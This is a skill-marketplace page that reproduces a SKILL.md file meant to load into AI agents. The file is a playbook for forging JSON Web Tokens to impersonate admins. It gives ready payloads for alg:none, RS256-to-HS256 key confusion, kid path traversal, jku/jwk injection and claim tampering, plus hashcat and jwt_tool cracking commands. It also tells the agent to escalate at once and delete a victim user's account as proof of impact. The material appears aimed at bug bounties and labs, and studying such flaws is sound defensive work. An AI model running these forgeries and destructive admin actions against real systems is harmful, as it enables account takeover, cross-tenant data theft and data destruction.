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Hunt Jwt Crypto

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elementalsouls
hunt-jwt-crypto

Hunt JWT cryptographic failures — alg:none signature-stripping and RS256→HS256 key-confusion that let an attacker forge a token for any identity (e.g. an admin) without knowing a secret. Use when the app authenticates with a JSON Web Token (an `eyJ...` Bearer token in the Authorization header, a cookie, or a login response). This skill OWNS JWT signature/crypto forgery (alg:none, key confusion, kid/jku header injection); hunt-ato covers JWT as one ATO path, hunt-auth-bypass covers SSO/SAML token trust, hunt-api-misconfig covers non-crypto JWT handling. Critical when a forged token grants access to another user's data or an admin-only endpoint.

Overview

Publisherelementalsouls
RepositoryClaude-BugHunter
Skill namehunt-jwt-crypto
Stars
4.5K
Forks
678
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by elementalsouls on GitHub. Read the source before you install it.

Installation

Install the Hunt Jwt Crypto AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p .claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-jwt-crypto .claude/skills/hunt-jwt-crypto
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hunt Jwt Crypto in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hunt Jwt Crypto on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hunt Jwt Crypto is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)

What actually pays

A JWT is header.payload.signature, each base64url. The signature is the only thing stopping you from editing the payload (your identity/role) and replaying it. It pays High/Critical when the verifier can be tricked into accepting a token you forged — so you become another user or an admin without their secret.

Two classic, generic verifier flaws:

  • alg:none — the verifier trusts the token's own alg header. Set alg:"none", drop the signature, edit the payload (e.g. role:"admin", another user's id/email). A broken verifier skips signature checking.
  • RS256 → HS256 key confusion — the token is signed RS256 (asymmetric). The RSA public key is, by definition, public. If the verifier lets you choose HS256, it will use that public key as the HMAC secret — which you also know. Sign an edited payload with HS256 using the public key and it validates.

Recon — is this app JWT-based?

Login/token responses containing  "token":"eyJ..."   or  Set-Cookie: token=eyJ...
Authorization: Bearer eyJ...    on authenticated requests
A JWKS / public-key endpoint:   /.well-known/jwks.json, /jwks, public-key in the JS bundle

Decode the header (base64url the first segment). "alg":"RS256" → try key confusion. Any alg → always try alg:none first; it's free.

Forging the token (never hand-encode base64 — use a JWT tool)

Use a purpose-built tool so encoding/signing is correct: jwt_tool (jwt_tool <token> -T to tamper interactively, -X a for alg:none, -X k -pk public.pem for key confusion), Burp's JWT Editor extension, or a few lines of PyJWT. Each forge below is the concept plus the claim to edit.

alg:none — become admin / another user

header:    {"alg":"none","typ":"JWT"}
payload:   {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
signature: (empty — keep the trailing dot:  header.payload. )

Some verifiers reject lowercase none but accept None/NONE/nOnE — try case variants.

RS256 → HS256 key confusion — once you have the RSA public key

1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
   /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
   bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
      jwt_tool <token> -X k -pk public.pem
   payload edit:  {"sub":"administrator"}   (or role:"admin" / another user's id)

kid header injection — verifier loads the HMAC key from a FILE named by kid

header:  {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret:  ""     (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}

Traverse out of the keys directory first. kid can also carry SQLi / command injection / SSRF if the key lookup hits a DB / shell / URL — same idea: kid is attacker-controlled and reaches a dangerous sink.

jku / x5u header injection (RS256) — verifier fetches the public key from a URL in the token

1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
   with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
   path on the target's OWN domain so the fetch resolves to your JWKS.

jwk header self-signed key injection (RS256) — embed an attacker-controlled public key in the token

header:  {"alg":"RS256","jwk":{"kty":"RSA","n":"<your_rsa_modulus>","e":"AQAB"}}
payload: {"sub":"administrator"}
signature: (sign with your matching private key)

Some verifiers incorrectly trust a jwk (JSON Web Key) claim in the header and use it to validate the signature. Generate your own RSA keypair, embed the public key in the token header, sign with your private key, and send. Works when the verifier does not verify the key's provenance or allowlist.

Expiry / time-based claim manipulation

Remove "exp" (expiration) claim entirely — many validators skip the check if absent.
Or set "nbf" (not before) to the past and "exp" (expiration) to far future (e.g. year 2099).
Edit payload: {"sub":"administrator","nbf":1000000000,"exp":4102444800}

Combined with any forging technique above (alg:none, key confusion, jwk injection), this bypasses time-based validation when the verifier does not enforce strict expiry rules.

Cross-tenant claim injection — escalate to another tenant's data via claim swaps

Identify tenant-related claims in a decoded real token: "org_id", "tenant", "account_id",
"workspace_id", "customer_id". Edit the target claim to another tenant's value.
Example: {"sub":"victim@org.com","org_id":1234} → change org_id to an admin's org (e.g. 9999).

This is systematic IDOR via claims — if authorization logic trusts the token claims without checking ownership server-side, you cross into another tenant's resources. Works especially well combined with alg:none or weak-secret attacks.

Match the payload shape to a REAL token from the app (decode one first) — keep its claim names, only change identity/role. A payload the app can't parse fails for the wrong reason and wastes the attempt.

Offline attacks — weak HMAC secret cracking

If the token is HS256 (HMAC-based) and the secret is weak or reused from a known password list:

bash
# Hashcat: mode 16500 = JWT
hashcat -a 0 -m 16500 <jwt_file> rockyou.txt

# jwt_tool: built-in wordlist cracking
jwt_tool <token> -C -d wordlist.txt

Once the secret is cracked, forge any token using HS256 with that secret (via jwt_tool or PyJWT).

Automated attack automation

Use purpose-built JWT attack suites to run all known forgery modes in parallel:

bash
# jwt_tool: auto-try alg:none, key confusion, kid injection, etc.
jwt_tool <token> -X a

# Nuclei: automated JWT vuln scanning
nuclei -u <target_url> -t jwt/ -timeout 10s

Run these early in JWT recon; they often find the vulnerability faster than manual chaining of individual techniques.

Drive to the ADMIN objective — do not stop at a working forge

A forge that loads YOUR own /my-account is NOT the goal — it just proves the forge mechanism works. The objective is almost always admin (reach an admin-only page and perform an admin action, e.g. delete a user). Once any forge is accepted, IMMEDIATELY escalate — change identity to admin AND aim at the admin endpoint. Do not keep re-forging /my-account or re-logging-in; that is drift.

Fixed escalation sequence (run it in order, do not loop on earlier steps):

  1. Forge admin identity and hit the admin page (try these claim names — match a decoded real token: sub, role, isAdmin, username), e.g. an HS256 token with kid pointed at /dev/null and an empty secret, payload {"sub":"administrator"}, sent to GET /admin.
  2. When /admin returns 200 (you'll see admin controls / a delete link), perform the admin action with the SAME forged token — a typical one is deleting a target user account, e.g. GET /admin/delete?username=<victimuser> (some apps use POST /admin/delete — read the admin page for the exact form/verb).

A 401 on /admin means the forge/claim is wrong — change ONE thing (the kid depth, the claim name/value, or alg) and retry /admin. Never retreat to a bare unauthenticated GET /admin (no token) — that always 401s and wastes effort.

Proof of impact

Point the forged token at a protected/admin endpoint and prove you read data you should not: an account/user listing (multiple users' emails), another user's object, or a completed admin action (the deleted-user confirmation). Reading the admin user list or performing the admin action with a forged token IS the exploit. A 200 that returns only your own data, or a 401, is not proof.

Validation discipline

  • Decode and confirm the token you sent actually carries the edited claims.
  • The win is cross-identity data access, not merely a 200. Show the foreign user data (e.g. other users' emails) in the response.
  • alg:none rejected (401) just means that flaw is patched — try key confusion before concluding the app is safe.

Frequently asked questions

What does the Hunt Jwt Crypto AI skill do?

Hunt JWT cryptographic failures — alg:none signature-stripping and RS256→HS256 key-confusion that let an attacker forge a token for any identity (e.g. an admin) without knowing a secret. Use when the app authenticates with a JSON Web Token (an `eyJ...` Bearer token in the Authorization header, a cookie, or a login response). This skill OWNS JWT signature/crypto forgery (alg:none, key confusion, kid/jku header injection); hunt-ato covers JWT as one ATO path, hunt-auth-bypass covers SSO/SAML token trust, hunt-api-misconfig covers non-crypto JWT handling. Critical when a forged token grants ac...

Why use Hunt Jwt Crypto on TypingMind?

Because you install it once and use it with any model. Hunt Jwt Crypto is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hunt Jwt Crypto in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-jwt-crypto. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hunt Jwt Crypto?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hunt Jwt Crypto?

As many as you like. As long as a model supports skills, you can use Hunt Jwt Crypto with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hunt Jwt Crypto AI skill free?

Yes. It is published on GitHub by elementalsouls under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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